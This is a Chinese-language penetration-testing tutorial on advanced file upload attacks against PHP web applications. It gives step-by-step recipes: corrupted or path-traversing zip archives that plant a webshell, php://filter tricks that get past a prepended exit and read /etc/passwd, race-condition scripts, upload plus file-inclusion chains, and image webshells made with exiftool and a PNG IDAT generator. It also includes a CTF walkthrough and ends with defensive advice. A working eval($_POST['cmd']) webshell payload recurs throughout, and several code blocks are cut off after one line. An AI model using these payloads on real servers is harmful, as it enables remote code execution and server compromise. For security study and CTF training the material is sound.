文件上传漏洞高级技巧
文件上传漏洞高级技巧
压缩包攻击
压缩包解压漏洞
漏洞原理:
压缩包解压漏洞的核心在于服务器对压缩包的处理逻辑存在缺陷。当服务器解压压缩包时,如果解压过程中出现错误,某些解压实现会保留已解压的文件,而不会进行清理。攻击者可以利用这一特性,通过构造特殊的压缩包,在解压过程中触发错误,从而保留恶意文件。
检测方法:
服务器代码示例:
1 | $zip = new \ZipArchive(); |
这段代码存在严重的安全问题:解压完成后直接删除压缩包,但没有检查解压过程中是否出错,也没有对解压后的文件进行验证。
构造出错压缩包
技术原理:
构造出错压缩包的原理是利用不同解压工具对错误处理机制的差异。当解压工具遇到损坏的压缩包时,通常会采取以下策略之一:
- 完全解压失败,不保留任何文件
- 部分解压成功,保留已解压的文件
- 解压过程中报错,但已解压的文件仍然存在
攻击者需要针对目标服务器使用的解压工具,构造相应的错误压缩包。
针对7zip的构造方法:
- 第一步:准备文件
准备两个文件:1.php(webshell)和2.txt(普通文件)
- 第二步:压缩文件
将这两个文件压缩成shell.zip
- 第三步:修改CRC校验码
使用010editor打开shell.zip,找到2.txt的deCrc字段,修改其值。
原理说明: CRC(Cyclic Redundancy Check)是循环冗余校验,用于检测数据传输或存储过程中的错误。当7zip解压文件时,会验证每个文件的CRC值,如果CRC值不匹配,7zip会报错并停止解压。但是,在验证CRC之前,7zip可能已经解压了前面的文件(如1.php),这些文件会被保留。
- 第四步:测试解压
使用7zip解压,会报错,但1.php已经成功解压。
针对ZipArchive的构造方法:
方法一:修改文件名包含非法字符
在Windows下,文件名不能包含冒号(:)
- 第一步:准备文件
准备1.php(webshell)和2.txt
- 第二步:压缩文件
将文件压缩成shell.zip
- 第三步:修改文件名
使用010editor打开shell.zip,将2.txt的deFileName属性改为”2.tx:”
原理说明: PHP的ZipArchive类在解压文件时,会尝试创建文件。如果文件名包含非法字符(如冒号),文件创建会失败,导致解压过程报错。但是,在遇到错误之前,已经解压的文件(如1.php)会被保留。
- 第四步:测试解压
使用PHP的ZipArchive解压,会报错,但1.php已经成功解压。
方法二:使用多个斜杠
在Linux下,文件名包含多个斜杠会出错。
- 第一步:准备文件
准备1.php(webshell)和2.txt
- 第二步:压缩文件
将文件压缩成shell.zip
- 第三步:修改文件名
使用010editor打开shell.zip,将2.txt的deFileName属性改为”/////“
原理说明: 在Linux系统中,文件名不能包含斜杠(/),因为斜杠用于分隔目录路径。当ZipArchive尝试创建包含多个斜杠的文件名时,会报错,但已解压的文件会被保留。
- 第四步:测试解压
使用PHP的ZipArchive解压,会报错,但1.php已经成功解压。
路径穿越攻击
攻击原理:
路径穿越攻击(Path Traversal)利用了压缩包解压时对文件名的处理不当。压缩包中的文件名可以包含相对路径(如../),如果解压程序没有正确验证文件名,攻击者可以将文件解压到任意目录。
技术原理:
在Unix/Linux系统中,”..”表示父目录。例如,”../../etc/passwd”表示向上两级目录,然后访问etc/passwd文件。当压缩包解压程序遇到包含”..”的文件名时,如果没有进行过滤,会将文件解压到指定的父目录中。
构造方法:
- 第一步:准备webshell
创建一个名为aaaaaaaaaaaaaaaaaaaa.php的webshell文件。
原理说明: 文件名需要预留足够的空间,以便后续替换为路径穿越字符。
- 第二步:压缩文件
将文件压缩成shell.zip
- 第三步:修改文件名
使用notepad++或010editor打开shell.zip,将文件名的前9个字符改为../../../
修改后的文件名:../../../aaaaaaaaaaa.php
原理说明: “ ../../../“表示向上三级目录。假设解压目录为/var/www/html/uploads/,那么最终文件会被解压到/var/www/html/目录下。
- 第四步:上传压缩包
上传修改后的zip文件
- 第五步:访问webshell
访问http://target.com/aaaaaaaaaaa.php
实例演示:
原始压缩包结构:
1 | shell.zip |
修改后的压缩包结构:
1 | shell.zip |
解压后文件位置:
1 | /var/www/html/aaaaaaaaaaa.php |
压缩包解压到临时目录的绕过
漏洞原理:
某些服务器会将压缩包解压到临时目录,然后对解压后的文件进行处理(如删除非图片文件)。攻击者可以利用路径穿越攻击,在文件被删除之前,将文件解压到Web根目录或其他持久化位置。
检测方法:
服务器代码示例:
1 | // 创建临时文件夹 |
这段代码存在竞争条件:解压完成后,会删除非图片文件。但是,如果攻击者能够在文件被删除之前访问文件,就可以成功利用。
绕过方法:
使用路径穿越攻击,将文件解压到Web根目录。
- 第一步:准备webshell
创建webshell文件,文件名预留足够空间用于路径穿越。
- 第二步:压缩文件
将文件压缩成shell.zip
- 第三步:修改文件名
使用010editor打开shell.zip,将文件名改为../../../../../var/www/html/shell.php
原理说明: 通过多层路径穿越,将文件直接解压到Web根目录,避免文件被临时目录的清理机制删除。
- 第四步:上传压缩包
上传修改后的zip文件
- 第五步:访问webshell
访问http://target.com/shell.php
php://filter协议利用
php://filter协议简介
协议原理:
php://filter是PHP中独有的协议,用于在文件读取或写入时进行过滤处理。该协议可以与其他文件函数(如file_get_contents、file_put_contents、include、require等)配合使用,实现对文件内容的转换和过滤。
技术原理:
php://filter协议的基本语法为:
1 | php://filter/<mode>=<filter>/<resource> |
其中:
- mode:read(读取)或write(写入)
- filter:过滤器名称,如convert.base64-decode、string.rot13等
- resource:目标文件路径
绕过死亡exit
漏洞原理:
某些文件上传功能会在用户上传的内容前添加”死亡代码”(如<?php exit; ?>),防止直接执行恶意代码。攻击者可以利用php://filter协议,通过过滤处理绕过这些限制。
技术原理:
当服务器执行类似以下代码时:
1 | $content = '<?php exit; ?>'; |
如果直接上传webshell,文件内容会变成:
1 | exit; @eval($_POST['cmd']); |
由于<?php exit; ?>会立即终止脚本执行,后面的webshell代码不会被执行。
检测方法:
服务器代码示例:
1 | $content = '<?php exit; ?>'; |
方法一:base64-decode
利用原理:
base64编码只包含64个可打印字符(A-Z、a-z、0-9、+、/),PHP在解码base64时,遇到不在其中的字符会跳过。
<?php exit; ?>中的<、?、;、>、空格等字符不符合base64编码范围,会被忽略。最终被解码的字符只有”phpexit”和我们传入的其他字符。
“phpexit”共7个字符,base64算法解码时4个字节一组,所以增加1个”a”共8个字符,可以被完整解码为2组(4+4)。
利用步骤:
- 第一步:构造payload
将webshell进行base64编码:
1 | @eval($_POST['cmd']); |
base64编码后:
1 | PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= |
- 第二步:构造完整payload
1 | php://filter/write=convert.base64-decode/resource=shell.php |
原理说明: 使用php://filter协议的convert.base64-decode过滤器,将文件内容进行base64解码。由于<?php exit; ?>中的大部分字符会被忽略,最终只有”phpexit”和我们传入的base64编码会被解码。
- 第三步:发送请求
1 | POST /upload.php HTTP/1.1 |
- 第四步:访问webshell
访问http://target.com/shell.php
方法二:strip_tags + base64-decode
利用原理:
<?php exit; ?>实际上是一个XML标签,可以使用strip_tags函数去除它。strip_tags函数会去除字符串中的HTML和PHP标签,只保留纯文本内容。
利用步骤:
- 第一步:构造payload
将webshell进行base64编码。
- 第二步:构造完整payload
1 | php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php |
原理说明: 使用string.strip_tags过滤器先去除<?php exit; ?>标签,然后使用convert.base64-decode过滤器解码base64编码的webshell。
- 第三步:发送请求
1 | POST /upload.php HTTP/1.1 |
- 第四步:访问webshell
访问http://target.com/shell.php
读取文件内容
技术原理:
php://filter协议不仅可以用于写入文件,还可以用于读取文件。通过不同的过滤器,可以对文件内容进行各种转换,便于读取敏感信息。
方法一:base64-encode
1 | php://filter/read=convert.base64-encode/resource=/etc/passwd |
原理说明: 使用convert.base64-encode过滤器将文件内容进行base64编码,可以避免特殊字符导致的问题,便于传输和显示。
方法二:rot13
1 | php://filter/read=string.rot13/resource=/etc/passwd |
原理说明: 使用string.rot13过滤器对文件内容进行ROT13加密(字母表偏移13位),可以绕过某些简单的过滤机制。
方法三:字符串转换
1 | php://filter/read=string.toupper/resource=/etc/passwd |
原理说明: 使用string.toupper和string.tolower过滤器将文件内容转换为大写或小写,可以绕过某些基于大小写的过滤。
条件竞争的高级利用
多线程并发攻击
攻击原理:
条件竞争(Race Condition)是指系统的行为依赖于多个事件执行的顺序。在文件上传场景中,如果服务器在文件上传后、删除前存在时间窗口,攻击者可以利用这个时间窗口访问文件。
技术原理:
典型的条件竞争场景:
- 用户上传文件
- 服务器验证文件
- 服务器保存文件
- 服务器删除文件(如果验证失败)
如果攻击者在步骤3和步骤4之间访问文件,就可以成功利用漏洞。
实现代码:
1 | import requests |
原理说明: 使用多线程并发技术,同时启动上传线程和多个访问线程。上传线程上传文件后,访问线程立即尝试访问文件,增加在文件被删除前成功访问的概率。
使用Burp Intruder
工具原理:
Burp Intruder是Burp Suite的一个模块,用于自动化攻击和测试。它可以发送大量请求,模拟并发访问,提高条件竞争攻击的成功率。
配置步骤:
- 第一步:准备请求
准备上传文件的HTTP请求。
第二步:设置Intruder
设置Target为目标URL
设置Payload为文件上传请求
设置Payload类型为Null payloads
设置Payload数量为1000
原理说明: Null payloads表示不修改请求内容,只是重复发送相同的请求。通过发送大量请求,模拟高并发场景。
- 第三步:启动攻击
启动Intruder攻击,并发发送1000个请求。
- 第四步:检查结果
检查响应,找到成功的请求。
文件包含配合文件上传
攻击原理:
当文件上传功能与文件包含漏洞结合时,可以形成更强大的攻击链。文件上传功能允许上传任意文件,文件包含功能可以执行上传的文件内容。
技术原理:
文件包含漏洞(LFI/RFI)允许攻击者包含并执行服务器上的文件。如果攻击者可以上传包含恶意代码的文件,然后通过文件包含漏洞执行这些代码,就可以绕过文件扩展名限制。
检测方法:
服务器代码示例:
1 | // 文件上传 |
利用方法:
- 第一步:上传恶意文件
上传包含PHP代码的文件,如shell.txt:
1 | @eval($_POST['cmd']); |
原理说明: 文件扩展名为.txt,不会被直接执行,但包含PHP代码。
- 第二步:文件包含执行
访问:
1 | http://target.com/index.php?page=uploads/shell.txt |
原理说明: 通过文件包含漏洞,包含shell.txt文件。PHP的include函数会执行包含的文件中的PHP代码。
- 第三步:访问webshell
文件包含会执行shell.txt中的PHP代码,生成webshell。
图片马的高级制作
使用PNG-IDAT-Payload-Generator
工具原理:
PNG-IDAT-Payload-Generator是一个专门用于生成绕过GD库重建的PNG图片马的工具。它将PHP代码嵌入到PNG图片的IDAT(图像数据)块中,经过GD库处理后仍然保留。
技术原理:
PNG图片由多个块(Chunk)组成,其中IDAT块存储图像数据。GD库在处理PNG图片时,会重新生成IDAT块,但某些位置的数据可能不会被完全覆盖。PNG-IDAT-Payload-Generator利用这一特性,将PHP代码嵌入到这些位置。
使用步骤:
- 第一步:下载工具
1 | git clone https://github.com/huntergregal/PNG-IDAT-Payload-Generator.git |
- 第二步:准备webshell
创建webshell文件shell.php:
1 | @eval($_POST['cmd']); |
- 第三步:生成PNG图片马
1 | python png_idat_payload_generator.py shell.php |
原理说明: 工具会将PHP代码嵌入到PNG图片的IDAT块中,生成一个新的PNG图片文件。
- 第四步:上传图片
上传生成的PNG图片。
- 第五步:访问webshell
访问生成的PNG图片,PHP代码会被执行。
使用ExifTool
技术原理:
ExifTool可以修改图片的EXIF(Exchangeable Image File Format)数据。EXIF数据存储在图片文件的元数据中,包含拍摄时间、相机型号等信息。某些服务器会读取EXIF数据并显示,如果服务器直接执行EXIF数据中的内容,就可以触发webshell。
使用步骤:
- 第一步:准备图片
准备一张JPG图片。
- 第二步:写入EXIF数据
1 | exiftool -Comment='<?php @eval($_POST['cmd']);?>' image.jpg |
原理说明: 将PHP代码写入图片的Comment字段。
- 第三步:上传图片
上传修改后的图片。
- 第四步:访问webshell
如果服务器使用exif_read_data()函数读取EXIF数据并执行,可以触发webshell。
文件上传漏洞的自动化检测
使用工具
dirsearch
1 | dirsearch -u http://target.com -e php,html,asp,aspx,jsp -x 400,403,404 |
原理说明: dirsearch是一个目录扫描工具,可以枚举Web服务器上的目录和文件。通过指定文件扩展名,可以查找可能存在的webshell文件。
gobuster
1 | gobuster dir -u http://target.com -w /path/to/wordlist.txt -x php,html,asp,aspx,jsp |
原理说明: gobuster是另一个目录扫描工具,使用字典文件进行暴力破解,查找隐藏的目录和文件。
wfuzz
1 | wfuzz -c -z file,/path/to/wordlist.txt --hc 404 http://target.com/FUZZ |
原理说明: wfuzz是一个Web模糊测试工具,可以用于发现隐藏的文件和目录,也可以用于测试文件上传功能。
编写自定义脚本
1 | import requests |
原理说明: 自定义脚本通过上传PHP文件并检查响应,判断是否存在文件上传漏洞。如果上传成功,尝试访问上传的文件,验证是否可以执行。
综合利用案例
CISCN2021 Quals upload题目
题目分析:
题目包含两个文件:
- upload.php - 文件上传功能
- example.php - 文件解压功能
upload.php代码分析:
1 | if ($ctf=="upload") { |
漏洞分析:
- 文件大小限制:512KB
- 必须是图片文件(使用getimagesize验证)
- 图片尺寸必须是1x1像素
- 文件名不能包含c、i、h、ph字符
- 文件名会被URL解码并转换为小写
example.php代码分析:
1 | if($ctf=="poc") { |
漏洞分析:
- 解压zip文件到临时目录
- 使用imagecreatefrompng处理PNG图片
- 使用imagecrop裁剪图片
- 保存处理后的图片到example目录
- 删除临时文件
解题步骤:
- 第一步:绕过字符过滤
使用Unicode字符İ(带点的I)绕过i的过滤。
原理说明: İ的Unicode编码是U+0130,与i(U+0069)不同,可以绕过简单的字符串匹配。但在某些情况下,PHP会将İ转换为i。
- 第二步:绕过图片尺寸限制
使用XBM格式创建1x1像素的图片:
1 |
|
原理说明: XBM(X Bitmap)是一种简单的位图格式,使用C语言语法描述。getimagesize函数可以识别XBM格式,并正确读取图片尺寸。
- 第三步:绕过GD库重建
使用PNG-IDAT-Payload-Generator生成PNG图片马。
原理说明: PNG-IDAT-Payload-Generator生成的PNG图片马,经过GD库处理后仍然保留PHP代码,可以绕过imagecreatefrompng和imagecrop的处理。
- 第四步:构造zip文件
将生成的PNG图片重命名为shell.pĥp,放入zip文件。
原理说明: 使用Unicode字符绕过文件名过滤,pĥp不会被识别为php。
- 第五步:上传zip文件
使用example.php上传zip文件。
- 第六步:访问webshell
访问解压后的PNG图片,执行PHP代码。
防御建议
深度防御策略
1. 严格的文件类型验证
1 | // 使用白名单 |
原理说明: 使用白名单机制,只允许特定的文件类型和扩展名。使用finfo函数检测文件的MIME类型,而不是依赖客户端提供的Content-Type。
2. 文件内容验证
1 | // 验证图片文件 |
原理说明: 使用getimagesize验证文件是否为有效的图片文件,然后使用GD库重新生成图片,去除可能嵌入的恶意代码。
3. 文件重命名
1 | // 生成唯一的文件名 |
原理说明: 生成随机的文件名,避免使用用户提供的文件名,防止路径穿越和文件名注入攻击。
4. 存储在Web根目录之外
1 | // 将文件存储在Web根目录之外 |
原理说明: 将上传的文件存储在Web根目录之外,防止直接通过URL访问文件。使用单独的脚本提供文件访问,可以添加额外的验证和过滤。
5. 禁用脚本执行
1 | # .htaccess配置 |
原理说明: 在上传目录中禁用PHP脚本的执行,防止上传的webshell被执行。
6. 限制文件权限
1 | // 设置文件权限为644 |
原理说明: 设置文件权限为644(所有者可读写,其他用户只读),防止文件被执行。
7. 压缩包安全处理
1 | // 验证压缩包内容 |
原理说明: 在解压压缩包之前,验证所有文件的文件名,防止路径穿越攻击。解压到临时目录,处理完成后清理临时目录。检查文件扩展名,只允许特定的文件类型。
总结
本教程涵盖了文件上传漏洞的高级技巧,包括:
- 压缩包攻击(构造出错压缩包、路径穿越)
- php://filter协议利用
- 条件竞争的高级利用
- 文件包含配合文件上传
- 图片马的高级制作
- 文件上传漏洞的自动化检测
- 综合利用案例
- 深度防御策略
这些技术展示了文件上传漏洞的复杂性和多样性,需要深入理解才能有效防御。在实际应用中,应该采用多层防御策略,确保系统的安全性。

